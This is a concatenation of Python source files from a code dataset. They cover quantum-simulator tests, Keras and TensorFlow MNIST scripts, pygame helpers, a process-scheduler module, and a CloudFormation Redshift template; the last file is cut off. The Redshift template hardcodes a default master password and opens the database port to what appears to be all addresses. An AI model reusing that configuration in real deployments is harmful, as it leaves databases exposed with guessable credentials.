dev._samples = dev.generate_samples()\n\n res = np.array([dev.expval(O1), dev.expval(O2)])\n\n # below are the analytic expectation values for this circuit (trace should always be 1)\n self.assertAllAlmostEqual(res, np.array([1, 1]), delta=3 / np.sqrt(shots))\n\n def test_pauliz_expectation(self, shots):\n \"\"\"Test that PauliZ expectation value is correct\"\"\"\n theta = 0.432\n phi = 0.123\n\n dev = plf.QVMDevice(device=\"2q-pyqvm\", shots=shots)\n O1 = qml.expval(qml.PauliZ(wires=[0]))\n O2 = qml.expval(qml.PauliZ(wires=[1]))\n\n circuit_graph = CircuitGraph(\n [qml.RX(theta, wires=[0]), qml.RX(phi, wires=[1]), qml.CNOT(wires=[0, 1])] + [O1, O2],\n {},\n )\n\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n dev._samples = dev.generate_samples()\n\n res = np.array([dev.expval(O1), dev.expval(O2)])\n # below are the analytic expectation values for this circuit\n self.assertAllAlmostEqual(\n res, np.array([np.cos(theta), np.cos(theta) * np.cos(phi)]), delta=3 / np.sqrt(shots)\n )\n\n def test_paulix_expectation(self, shots):\n \"\"\"Test that PauliX expectation value is correct\"\"\"\n theta = 0.432\n phi = 0.123\n\n dev = plf.QVMDevice(device=\"2q-pyqvm\", shots=shots)\n O1 = qml.expval(qml.PauliX(wires=[0]))\n O2 = qml.expval(qml.PauliX(wires=[1]))\n\n circuit_graph = CircuitGraph(\n [qml.RY(theta, wires=[0]), qml.RY(phi, wires=[1]), qml.CNOT(wires=[0, 1])] + [O1, O2],\n {},\n )\n\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n dev._samples = dev.generate_samples()\n\n res = np.array([dev.expval(O1), dev.expval(O2)])\n # below are the analytic expectation values for this circuit\n self.assertAllAlmostEqual(\n res, np.array([np.sin(theta) * np.sin(phi), np.sin(phi)]), delta=3 / np.sqrt(shots)\n )\n\n def test_pauliy_expectation(self, shots):\n \"\"\"Test that PauliY expectation value is correct\"\"\"\n theta = 0.432\n phi = 0.123\n\n dev = plf.QVMDevice(device=\"2q-pyqvm\", shots=shots)\n O1 = qml.expval(qml.PauliY(wires=[0]))\n O2 = qml.expval(qml.PauliY(wires=[1]))\n\n circuit_graph = CircuitGraph(\n [qml.RX(theta, wires=[0]), qml.RX(phi, wires=[1]), qml.CNOT(wires=[0, 1])] + [O1, O2],\n {},\n )\n\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n dev._samples = dev.generate_samples()\n\n res = np.array([dev.expval(O1), dev.expval(O2)])\n\n # below are the analytic expectation values for this circuit\n self.assertAllAlmostEqual(\n res, np.array([0, -np.cos(theta) * np.sin(phi)]), delta=3 / np.sqrt(shots)\n )\n\n def test_hadamard_expectation(self, shots):\n \"\"\"Test that Hadamard expectation value is correct\"\"\"\n theta = 0.432\n phi = 0.123\n\n dev = plf.QVMDevice(device=\"2q-pyqvm\", shots=shots)\n O1 = qml.expval(qml.Hadamard(wires=[0]))\n O2 = qml.expval(qml.Hadamard(wires=[1]))\n\n circuit_graph = CircuitGraph(\n [qml.RY(theta, wires=[0]), qml.RY(phi, wires=[1]), qml.CNOT(wires=[0, 1])] + [O1, O2],\n {},\n )\n\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n dev._samples = dev.generate_samples()\n\n res = np.array([dev.expval(O1), dev.expval(O2)])\n\n # below are the analytic expectation values for this circuit\n expected = np.array(\n [np.sin(theta) * np.sin(phi) + np.cos(theta), np.cos(theta) * np.cos(phi) + np.sin(phi)]\n ) / np.sqrt(2)\n self.assertAllAlmostEqual(res, expected, delta=3 / np.sqrt(shots))\n\n def test_hermitian_expectation(self, shots):\n \"\"\"Test that arbitrary Hermitian expectation values are correct\"\"\"\n theta = 0.432\n phi = 0.123\n\n dev = plf.QVMDevice(device=\"2q-pyqvm\", shots=5 * shots)\n O1 = qml.expval(qml.Hermitian(H, wires=[0]))\n O2 = qml.expval(qml.Hermitian(H, wires=[1]))\n\n circuit_graph = CircuitGraph(\n [qml.RY(theta, wires=[0]), qml.RY(phi, wires=[1]), qml.CNOT(wires=[0, 1])] + [O1, O2],\n {},\n )\n\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n dev._samples = dev.generate_samples()\n\n res = np.array([dev.expval(O1), dev.expval(O2)])\n # below are the analytic expectation values for this circuit with arbitrary\n # Hermitian observable H\n a = H[0, 0]\n re_b = H[0, 1].real\n d = H[1, 1]\n ev1 = ((a - d) * np.cos(theta) + 2 * re_b * np.sin(theta) * np.sin(phi) + a + d) / 2\n ev2 = ((a - d) * np.cos(theta) * np.cos(phi) + 2 * re_b * np.sin(phi) + a + d) / 2\n expected = np.array([ev1, ev2])\n\n self.assertAllAlmostEqual(res, expected, delta=3 / np.sqrt(shots))\n\n def test_multi_qubit_hermitian_expectation(self, shots, qvm, compiler):\n \"\"\"Test that arbitrary multi-qubit Hermitian expectation values are correct\"\"\"\n theta = np.random.random()\n phi = np.random.random()\n\n A = np.array(\n [\n [-6, 2 + 1j, -3, -5 + 2j],\n [2 - 1j, 0, 2 - 1j, -5 + 4j],\n [-3, 2 + 1j, 0, -4 + 3j],\n [-5 - 2j, -5 - 4j, -4 - 3j, -6],\n ]\n )\n\n dev = plf.QVMDevice(device=\"2q-pyqvm\", shots=10 * shots)\n O1 = qml.expval(qml.Hermitian(A, wires=[0, 1]))\n\n circuit_graph = CircuitGraph(\n [qml.RY(theta, wires=[0]), qml.RY(phi, wires=[1]), qml.CNOT(wires=[0, 1])] + [O1], {}\n )\n\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n dev._samples = dev.generate_samples()\n\n res = np.array([dev.expval(O1)])\n # below is the analytic expectation value for this circuit with arbitrary\n # Hermitian observable A\n expected = 0.5 * (\n 6 * np.cos(theta) * np.sin(phi)\n - np.sin(theta) * (8 * np.sin(phi) + 7 * np.cos(phi) + 3)\n - 2 * np.sin(phi)\n - 6 * np.cos(phi)\n - 6\n )\n\n self.assertAllAlmostEqual(res, expected, delta=6 / np.sqrt(shots))\n\n def test_var(self, shots):\n \"\"\"Tests for variance calculation\"\"\"\n dev = plf.QVMDevice(device=\"2q-pyqvm\", shots=shots)\n\n phi = 0.543\n theta = 0.6543\n\n O1 = qml.var(qml.PauliZ(wires=[0]))\n\n circuit_graph = CircuitGraph([qml.RX(phi, wires=[0]), qml.RY(theta, wires=[0])] + [O1], {})\n\n # test correct variance for of a rotated state\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n dev._samples = dev.generate_samples()\n\n var = np.array([dev.var(O1)])\n expected = 0.25 * (3 - np.cos(2 * theta) - 2 * np.cos(theta) ** 2 * np.cos(2 * phi))\n\n self.assertAlmostEqual(var, expected, delta=3 / np.sqrt(shots))\n\n def test_var_hermitian(self, shots):\n \"\"\"Tests for variance calculation using an arbitrary Hermitian observable\"\"\"\n dev = plf.QVMDevice(device=\"2q-pyqvm\", shots=100 * shots)\n\n phi = 0.543\n theta = 0.6543\n\n # test correct variance for of a rotated state\n A = np.array([[4, -1 + 6j], [-1 - 6j, 2]])\n O1 = qml.var(qml.Hermitian(A, wires=[0]))\n\n circuit_graph = CircuitGraph([qml.RX(phi, wires=[0]), qml.RY(theta, wires=[0])] + [O1], {})\n\n # test correct variance for of a rotated state\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n dev._samples = dev.generate_samples()\n\n var = np.array([dev.var(O1)])\n expected = 0.5 * (\n 2 * np.sin(2 * theta) * np.cos(phi) ** 2\n + 24 * np.sin(phi) * np.cos(phi) * (np.sin(theta) - np.cos(theta))\n + 35 * np.cos(2 * phi)\n + 39\n )\n\n self.assertAlmostEqual(var, expected, delta=0.3)\n\n @pytest.mark.parametrize(\n \"gate\", plf.QVMDevice._operation_map\n ) # pylint: disable=protected-access\n def test_apply(self, gate, apply_unitary, shots):\n \"\"\"Test the application of gates\"\"\"\n dev = plf.QVMDevice(device=\"3q-pyqvm\", shots=shots)\n\n try:\n # get the equivalent pennylane operation class\n op = getattr(qml.ops, gate)\n except AttributeError:\n # get the equivalent pennylane-forest operation class\n op = getattr(plf, gate)\n\n # the list of wires to apply the operation to\n w = list(range(op.num_wires))\n\n obs = qml.expval(qml.PauliZ(0))\n if op.par_domain == \"A\":\n # the parameter is an array\n if gate == \"QubitUnitary\":\n p = np.array(U)\n w = [0]\n state = apply_unitary(U, 3)\n elif gate == \"BasisState\":\n p = np.array([1, 1, 1])\n state = np.array([0, 0, 0, 0, 0, 0, 0, 1])\n w = list(range(dev.num_wires))\n\n circuit_graph = CircuitGraph([op(p, wires=w)] + [obs], {})\n else:\n p = [0.432423, 2, 0.324][: op.num_params]\n fn = test_operation_map[gate]\n if callable(fn):\n # if the default.qubit is an operation accepting parameters,\n # initialise it using the parameters generated above.\n O = fn(*p)\n else:\n # otherwise, the operation is simply an array.\n O = fn\n\n # calculate the expected output\n state = apply_unitary(O, 3)\n # Creating the circuit graph using a parametrized operation\n if p:\n circuit_graph = CircuitGraph([op(*p, wires=w)] + [obs], {})\n # Creating the circuit graph using an operation that take no parameters\n else:\n circuit_graph = CircuitGraph([op(wires=w)] + [obs], {})\n\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n dev._samples = dev.generate_samples()\n\n res = dev.expval(obs)\n expected = np.vdot(state, np.kron(np.kron(Z, I), I) @ state)\n\n # verify the device is now in the expected state\n # Note we have increased the tolerance here, since we are only\n # performing 1024 shots.\n self.assertAllAlmostEqual(res, expected, delta=3 / np.sqrt(shots))\n\n\nclass TestQVMIntegration(BaseTest):\n \"\"\"Test the pyQVM simulator works correctly from the PennyLane frontend.\"\"\"\n\n # pylint: disable=no-self-use\n\n def test_qubit_unitary(self, shots):\n \"\"\"Test that an arbitrary unitary operation works\"\"\"\n dev1 = qml.device(\"forest.qvm\", device=\"3q-pyqvm\", shots=shots)\n dev2 = qml.device(\"forest.qvm\", device=\"9q-square-pyqvm\", shots=shots)\n\n def circuit():\n \"\"\"Reference QNode\"\"\"\n qml.Hadamard(wires=0)\n qml.CNOT(wires=[0, 1])\n qml.QubitUnitary(U2, wires=[0, 1])\n return qml.expval(qml.PauliZ(0))\n\n circuit1 = qml.QNode(circuit, dev1)\n circuit2 = qml.QNode(circuit, dev2)\n\n out_state = U2 @ np.array([1, 0, 0, 1]) / np.sqrt(2)\n obs = np.kron(np.array([[1, 0], [0, -1]]), I)\n\n self.assertAllAlmostEqual(\n circuit1(), np.vdot(out_state, obs @ out_state), delta=3 / np.sqrt(shots)\n )\n self.assertAllAlmostEqual(\n circuit2(), np.vdot(out_state, obs @ out_state), delta=3 / np.sqrt(shots)\n )\n\n @pytest.mark.parametrize(\"device\", [\"2q-pyqvm\"])\n def test_one_qubit_wavefunction_circuit(self, device, shots):\n \"\"\"Test that the wavefunction plugin provides correct result for simple circuit.\"\"\"\n shots = 10000\n dev = qml.device(\"forest.qvm\", device=device, shots=shots)\n\n a = 0.543\n b = 0.123\n c = 0.987\n\n @qml.qnode(dev)\n def circuit(x, y, z):\n \"\"\"Reference QNode\"\"\"\n qml.BasisState(np.array([1]), wires=0)\n qml.Hadamard(wires=0)\n qml.Rot(x, y, z, wires=0)\n return qml.expval(qml.PauliZ(0))\n\n self.assertAlmostEqual(circuit(a, b, c), np.cos(a) * np.sin(b), delta=5 / np.sqrt(shots))\n","sub_path":"tests/test_pyqvm.py","file_name":"test_pyqvm.py","file_ext":"py","file_size_in_byte":13512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"404442861","text":"from keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.layers import Activation, Dropout, Flatten, Dense\nfrom sklearn.preprocessing import LabelEncoder\nfrom keras.utils import np_utils as ut\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom keras.utils import multi_gpu_model\np=\"\"\np=input(\"Enter the path where you extracted aimage folder ending with / = \")\nmodel = Sequential()\nmodel.add(Conv2D(32, (4, 4), input_shape=(100,100,3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Conv2D(64, (4, 4)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Conv2D(128, (4, 4)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Flatten())\nmodel.add(Dense(128))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(6))\nmodel.add(Activation('sigmoid'))\n\nmodel.compile(loss='mean_squared_error',\n optimizer='rmsprop',\n metrics=['accuracy'])\nmodel_json=model.to_json()\nwith open(p+'aimage/model.json','w') as json_file:\n json_file.write(model_json)\nx=np.load(p+'aimage/data.npz')\nlabel=LabelEncoder()\nlabels=label.fit_transform(np.array(x['y']))\nb=ut.to_categorical(labels)\nmodel.fit(x['x'],b,epochs=5)\nmodel.save_weights(p+\"aimage/data_weights.h5\")\n","sub_path":"Code/net_STEP_3_.py","file_name":"net_STEP_3_.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"50892185","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2017-05-11 15:15:22\n# @Author : Yutong,Dai (rothdyt@gmail.com)\n# @Link : rothdyt.github.io\n# @Version : $Id$\n\nimport sys\nimport pygame\n\ndef check_events(ship):\n\t# Watch for keyboard and mouse events.\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tsys.exit()\n\n\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\tif event.key == pygame.K_RIGHT:\n\t\t\t\t\tship.moving_right = True\n\ndef update_screen(ai_settings, screen, ship):\n\t\t# Redraw the screen during each pass through the loop.\n\t\tscreen.fill(ai_settings.bg_color)\n\t\tship.blitme()\n\t\t# Make the most recently drawn screen visible.\n\t\tpygame.display.flip()","sub_path":"Python_Crash_Course/alien_invasion/game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"457503207","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\tProcess module: contains the Process and ProcessManager classes. \n\"\"\"\n\nfrom .parser import read_processes\n\nclass Process:\n\tdef __init__(self, init_time, priority, total_exec_time, blocks, \\\n\t\t\t\t\tprinter_cod, scanner, modem, disk_cod, pid = -1):\n\t\tself.init_time = init_time\n\t\tself.priority = priority\n\t\tself.total_exec_time = total_exec_time\n\t\tself.exec_time = total_exec_time #contador do tempo de cpu\n\t\tself.blocks = blocks\n\t\tself.printer_cod = printer_cod\n\t\tself.scanner = scanner\n\t\tself.modem = modem\n\t\tself.disk_cod = disk_cod\n\t\t# pid deve ser atribuído pelo gerenciador de processos\n\t\tself.pid = pid\n\t\tself.instructions = {}\n\t\tself.intructions_pc = 0\n\t\tself.running = False # processo está na memória ou não\n\t\tself.new = True\n\t\t\n\t# Formato textual dos dados atuais do processo. Pode ser utilizado pelo dispatcher.\n\tdef __str__(self):\n\t\ttxt = '\\tPID: ' + str(self.pid) + '\\n'\n\t\ttxt += '\\toffset: ' + str(self.init_time) + '\\n'\n\t\ttxt += '\\tblocks: ' + str(self.blocks) + '\\n'\n\t\ttxt += '\\tpriority: ' + str(self.priority) + '\\n'\n\t\ttxt += '\\ttime: ' + str(self.total_exec_time) + '\\n'\n\t\ttxt += '\\tprinters: ' + str(self.printer_cod) + '\\n'\n\t\ttxt += '\\tscanners: ' + str(self.scanner) + '\\n'\n\t\ttxt += '\\tmodems: ' + str(self.modem) + '\\n'\n\t\ttxt += '\\tdrivers: ' + str(self.disk_cod) + '\\n'\n\t\ttxt += '\\tinstructions: ' + str(self.instructions)\n\t\t\n\t\treturn txt\n\n\ndef load_processes(processes_txt,files_txt):\n\tprocesses_dict = read_processes(filename = processes_txt)\n\tprocesses = {}\n\tfor key, p in enumerate(processes_dict):\n\t\tnew_process = Process(\n\t\t\tp['init_time'], \n\t\t\tp['priority'], \n\t\t\tp['total_exec_time'], \n\t\t\tp['blocks'],\n\t\t\tp['printer_cod'], \n\t\t\tp['scanner'], \n\t\t\tp['modem'], \n\t\t\tp['disk_cod'],\n\t\t\tpid = key\n\t\t)\n\t\tprocesses[key] = new_process\n\treturn load_instructions(files_txt, processes)\n\ndef load_instructions(filename, processes):\n\n\twith open(filename, 'r') as fp:\n\t\tfp.readline()\n\t\tquant_files = int(fp.readline())\n\t\tfor _ in range(quant_files):\n\t\t\tnext(fp)\n\t\tfor line in fp:\n\t\t\tline = line.strip()\n\t\t\tdata = line.split(',')\n\t\t\tprocess_id = int(data[0])\n\t\t\toperation = int(data[1])\n\t\t\tfilename = data[2].strip()\n\t\t\tif len(data) == 5:\n\t\t\t\tfilesize = int(data[3])\n\t\t\t\tpc = int(data[4])\n\t\t\t\tinst = Instruction(\n\t\t\t\t\toperation = operation,\n\t\t\t\t\tfilename = filename,\n\t\t\t\t\tfilesize = filesize\n\t\t\t\t)\n\t\t\telse:\n\t\t\t\tpc = int(data[3])\n\t\t\t\tinst = Instruction(\n\t\t\t\t\toperation = operation,\n\t\t\t\t\tfilename = filename\n\t\t\t\t)\n\t\t\tif process_id in processes:\n\t\t\t\tprocesses[process_id].instructions[pc] = inst\n\treturn processes\n\ndef processes_by_init_time(processes):\n\tprocess_by_init_time = {}\n\tfor key in processes.keys():\n\t\tp = processes[key]\n\t\tif p.init_time in process_by_init_time:\n\t\t\tprocess_by_init_time[p.init_time].append(p)\n\t\telse: \n\t\t\tprocess_by_init_time[p.init_time] = [p]\n\n\treturn process_by_init_time\n\nclass Instruction():\n\tdef __init__(self, operation = -1, filename = None, filesize = -1):\n\t\tself.operation = operation\n\t\tself.filename = filename\n\t\tself.filesize = filesize\n\t\n\tdef __str__(self):\n\t\tstring = 'Instrução: '\n\t\tif self.operation == -1:\n\t\t\tstring += 'CPU'\n\t\telif self.operation == 0:\n\t\t\tstring += 'Criar arquivo' + self.filename\n\t\telif self.operation == 1:\n\t\t\tstring += 'Deleta arquivo' + self.filename\n\t\telse:\n\t\t\tstring += 'Operação desconhecida'\n\t\treturn string\n\n","sub_path":"modules/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"306526920","text":"from tensorflow.examples.tutorials.mnist import input_data\nmnist = input_data.read_data_sets('MNIST_data/', one_hot = True)\n\nimport tensorflow as tf\nimport numpy as np\nfrom PIL import Image\nimport os.path\nimport sys\n\n\n\ntf.set_random_seed(563)\n#Inputs - definidos por uma matriz de n colunas(utilizando None)# e de 784 linhas, correspondentes a imagem de 28 x28 pixels\nx = tf.placeholder(tf.float32, [None, 784])\n\n# camada oculta\n\n#w = tf.Variable(tf.random_normal([784, 10])) #10\n#w = tf.Variable(tf.random_normal([784, 15])) #15\nw = tf.Variable(tf.random_normal([784, 225])) #30\n#b = tf.Variable(tf.random_normal([10])) #10\n#b = tf.Variable(tf.random_normal([15])) #15\nb = tf.Variable(tf.random_normal([225])) #50\n\nm = tf.nn.sigmoid(tf.matmul(x, w) + b)\n\n#w1 = tf.Variable(tf.random_normal([10, 10])) #10\n#w1 = tf.Variable(tf.random_normal([15, 10])) #15\nw1 = tf.Variable(tf.random_normal([225, 10])) #30\nb1 = tf.Variable(tf.random_normal([10]))\n\ny = tf.nn.softmax(tf.matmul(m, w1) + b1)\n\n\n# resultado esperado\ny_ = tf.placeholder(tf.float32, [None, 10])\n\n# função de custo\ncross_entropy = tf.reduce_mean(tf.reduce_sum(tf.square(y_ - y), reduction_indices = [1]))\n#cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y), reduction_indices = [1]))\n\n\n# Metodo do gradiente\n#train_step = tf.train.GradientDescentOptimizer(0.05).minimize(cross_entropy)\ntrain_step = tf.train.AdamOptimizer().minimize(cross_entropy)\n\n# iniciar sessão e inicializar variaveis criadas\nsess = tf.InteractiveSession()\nsess.run(tf.global_variables_initializer())\n\nsaver = tf.train.Saver()\n\ndef treinar(qtd, batch):\n for _ in range(qtd):\n batch_xs, batch_ys = mnist.train.next_batch(batch)\n sess.run(train_step, feed_dict = {x: batch_xs , y_: batch_ys})\n\n\ndef precisao(): #Teste de modelo treinado\n correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n print('{0:.3f}%'.format(float(sess.run(accuracy, feed_dict = {x: mnist.test.images,y_: mnist.test.labels}))*100))\n\n\ndef testar_mnist_test(index):\n test_image = mnist.test.images[index]\n ti = np.array([test_image])\n feed_dict = {x: ti} \n saida = sess.run(y, feed_dict) \n res = np.argmax(saida)\n ordered = np.argsort(saida[0])\n \n segundo = ordered[8]\n terceiro = ordered[7] \n print() \n print('Esperado: '+format(np.argmax(mnist.test.labels[index])))\n print('Chute: {0}, com {1:.2f}% de certeza'.format(res,saida[0][res]*100))\n print('Outras opções...')\n print('Chute: {0}, com {1:.2f}% de certeza'.format(segundo,saida[0][segundo]*100))\n print('Chute: {0}, com {1:.2f}% de certeza'.format(terceiro,saida[0][terceiro]*100))\n\ndef testar(nomeArq):\n '''\n for i in range(30):\n print('testando caso {}...'.format(i))\n test_image = mnist.test.images[i]\n ti = np.array([test_image])\n feed_dict = {x: ti}\n saida = sess.run(y, feed_dict) \n res = np.argmax(saida)\n \n print('Chutado: '+format(res))\n print('esperado: '+format(np.argmax(mnist.test.labels[i])))\n ''' \n \n #with tf.gfile.Open(nomeArq, \"rb\") as f:\n # test_image = extract_images(f)\n if(os.path.isfile(nomeArq)): \n test_image = np.asarray(Image.open(nomeArq).getdata())\n test_image = test_image.astype(float) \n if(test_image.size>784):\n print('Imagem invalida')\n return\n for i in range(test_image.size):\n test_image[i] = test_image[i]/255.0\n ti = np.array([test_image])\n #feed_dict = {x: test_image}\n feed_dict = {x: ti}\n saida = sess.run(y, feed_dict) \n res = np.argmax(saida)\n ordered = np.argsort(saida[0])\n #print(ordered)\n segundo = ordered[8]\n terceiro = ordered[7] \n print()\n print(\"Camada de saida\")\n print(saida[0]) \n print('Chute: {0}, com {1:.2f}% de certeza'.format(res,saida[0][res]*100))\n print('Outras opções...')\n print('Chute: {0}, com {1:.2f}% de certeza'.format(segundo,saida[0][segundo]*100))\n print('Chute: {0}, com {1:.2f}% de certeza'.format(terceiro,saida[0][terceiro]*100)) \n else:\n print('Imagem nao encontrada')\n\n\ndef main():\n esc=''\n while (esc != '0'):\n print('=== Reconhecedor de digitos ===')\n print('[1]-Treinar')\n print('[2]-Precisão')\n print('[3]-Testar imagem (28x28,GrayScale)')\n print('[4]-Testar Mnist(index)')\n print('[5]-Salvar')\n print('[6]-Restaurar')\n print('[7]-Limpar')\n print('[0]-Sair') \n esc = input('Escolha: ')\n if (esc == '1'): \n tamanho = int(input('Quantidade de testes (max=55000): '))\n if (tamanho > 55000 and tamanho < 1000):\n tamanho = 1000 \n batch = int(input('Tamanho do \\'batch\\': '))\n if ((batch > 1000 and batch < 10) or(batch > tamanho)):\n batch = 1000\n treinar(tamanho, batch)\n print (\"\\033c\")\n if (esc == '2'):\n precisao()\n input('...')\n print (\"\\033c\")\n if (esc == '3'): \n nome = input('Nome do arquivo (com extensão): ')\n testar(nome)\n if (esc == '4'):\n index = int(input(\"Numero do caso: \"))\n if(index <0 or index >=10000):\n print('Caso invalido')\n else:\n testar_mnist_test(index)\n if (esc == '5'):\n nome = input(\"Insira o nome do arquivo(extensão '.cktp' será adicionada automaticamente): \")\n nome = os.getcwd()+'/'+nome + '.cktp'\n saver.save(sess, nome)\n print (\"\\033c\") \n if (esc == '6'):\n nome = input(\"Insira o nome do arquivo (sem extensão): \")\n nome = os.getcwd()+'/'+nome + '.cktp'\n saver.restore(sess, nome)\n print (\"\\033c\") \n if (esc == '7'):\n print (\"\\033c\") \n\n\nprint (\"\\033c\")\nmain()\n","sub_path":"numReader225.py","file_name":"numReader225.py","file_ext":"py","file_size_in_byte":6185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"125391489","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# This module creates a Redshift cluster\n\nfrom troposphere import Parameter, Ref, GetAtt, If, Join, Output, Equals\nfrom troposphere.ec2 import SecurityGroup, SecurityGroupRule\nfrom troposphere.redshift import Cluster, ClusterParameterGroup\nfrom troposphere.redshift import AmazonRedshiftParameter, ClusterSubnetGroup\n\nimport config as cfn\nfrom config import template, DEFAULT_ROUTE, CLOUDENV\n\n\ndef emit_configuration():\n vpc = cfn.vpcs[0]\n\n dbname = template.add_parameter(\n Parameter(\n 'RedshiftDatabaseName',\n Description='The name of database to create within redshift',\n Type=\"String\",\n Default=\"farragut\",\n AllowedPattern=\"[a-z0-9]*\",\n ConstraintDescription=\"Must be alphanumeric\"\n )\n )\n\n clustertype = template.add_parameter(\n Parameter(\n 'RedshiftClusterType',\n Description=\"The type of cluster to build\",\n Type=\"String\",\n Default=\"single-node\",\n AllowedValues=[\"single-node\", \"multi-node\"]\n )\n )\n\n numberofnodes = template.add_parameter(\n Parameter(\n \"RedshiftNumberOfNodes\",\n Description=\"The number of compute nodes in the redshift cluster. \"\n \"When cluster type is specified as: 1) single-node, the NumberOfNodes \"\n \"parameter should be specified as 1, 2) multi-node, the NumberOfNodes \"\n \"parameter should be greater than 1\",\n Type=\"Number\",\n Default=\"1\",\n )\n )\n\n nodetype = template.add_parameter(\n Parameter(\n \"RedshiftNodeType\",\n Description=\"The node type to be provisioned for the redshift cluster\",\n Type=\"String\",\n Default=\"dw2.large\",\n )\n )\n\n masterusername = template.add_parameter(Parameter(\n \"RedshiftMasterUsername\",\n Description=\"The user name associated with the master user account for \"\n \"the redshift cluster that is being created\",\n Type=\"String\",\n Default=\"sa\",\n AllowedPattern=\"([a-z])([a-z]|[0-9])*\"\n ))\n\n masteruserpassword = template.add_parameter(Parameter(\n \"RedshiftMasterUserPassword\",\n Description=\"The password associated with the master user account for the \"\n \"redshift cluster that is being created.\",\n Type=\"String\",\n NoEcho=True,\n Default=\"LeafLeaf123\"\n ))\n\n ingress_rules = [\n SecurityGroupRule(\n IpProtocol=p[0], CidrIp=DEFAULT_ROUTE, FromPort=p[1], ToPort=p[1]\n ) for p in [('tcp', 5439)]\n ]\n\n rs_security_group = template.add_resource(\n SecurityGroup(\n \"RedshiftSecurityGroup\",\n GroupDescription=\"SecurityGroup for the {0} Redshift cluster\".format(CLOUDENV),\n VpcId=Ref(vpc),\n SecurityGroupIngress=ingress_rules,\n DependsOn=vpc.title\n )\n )\n\n cluster_subnet_group = template.add_resource(\n ClusterSubnetGroup(\n \"RedshiftClusterSubnetGroup\",\n Description=\"Redshift {0} cluster subnet group\".format(CLOUDENV),\n SubnetIds=[Ref(sn) for sn in cfn.get_vpc_subnets(vpc, cfn.SubnetTypes.DATABASE)],\n DependsOn=[sn.title for sn in cfn.get_vpc_subnets(vpc, cfn.SubnetTypes.DATABASE)]\n )\n )\n\n conditions = {\n \"IsMultiNodeCluster\": Equals(\n Ref(\"RedshiftClusterType\"),\n \"multi-mode\"\n ),\n }\n\n for k in conditions:\n template.add_condition(k, conditions[k])\n\n redshiftcluster = template.add_resource(Cluster(\n \"RedshiftCluster\",\n ClusterType=Ref(\"RedshiftClusterType\"),\n NumberOfNodes=If(\"IsMultiNodeCluster\",\n Ref(\"RedshiftNumberOfNodes\"), Ref(\"AWS::NoValue\")),\n NodeType=Ref(\"RedshiftNodeType\"),\n DBName=Ref(\"RedshiftDatabaseName\"),\n MasterUsername=Ref(\"RedshiftMasterUsername\"),\n MasterUserPassword=Ref(\"RedshiftMasterUserPassword\"),\n ClusterParameterGroupName=Ref(\"RedshiftClusterParameterGroup\"),\n DeletionPolicy=\"Snapshot\",\n ClusterSubnetGroupName=Ref(cluster_subnet_group),\n VpcSecurityGroupIds=[Ref(\"RedshiftSecurityGroup\")],\n DependsOn=[cluster_subnet_group.title, rs_security_group.title]\n ))\n\n log_activity_parameter = AmazonRedshiftParameter(\n \"AmazonRedshiftParameterEnableUserLogging\",\n ParameterName=\"enable_user_activity_logging\",\n ParameterValue=\"true\",\n )\n\n redshiftclusterparametergroup = template.add_resource(ClusterParameterGroup(\n \"RedshiftClusterParameterGroup\",\n Description=\"Cluster parameter group\",\n ParameterGroupFamily=\"redshift-1.0\",\n Parameters=[log_activity_parameter],\n ))\n\n template.add_output(Output(\n \"RedshiftClusterEndpoint\",\n Value=Join(\":\", [GetAtt(redshiftcluster, \"Endpoint.Address\"),\n GetAtt(redshiftcluster, \"Endpoint.Port\")]),\n ))\n","sub_path":"components/redshift.py","file_name":"redshift.py","file_ext":"py","file_size_in_byte":5014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"44765372","text":"\"\"\"\nFile Owners\n\"\"\"\n\n\"\"\"\nFile Owners\n\"\"\"\n\ndef group_by_owners(files):\n\n kkeys = list(set(files.values())) #unique list of names\n\n odic = dict()\n for ind in kkeys:\n odic.setdefault(ind, [k for k, v in files.items() if v == ind]) # .items gives all the keys and values\n\n return odic\n\nfiles = {\n 'Input.txt': 'Randy',\n 'Code.py': 'Stan',\n 'Output.txt': 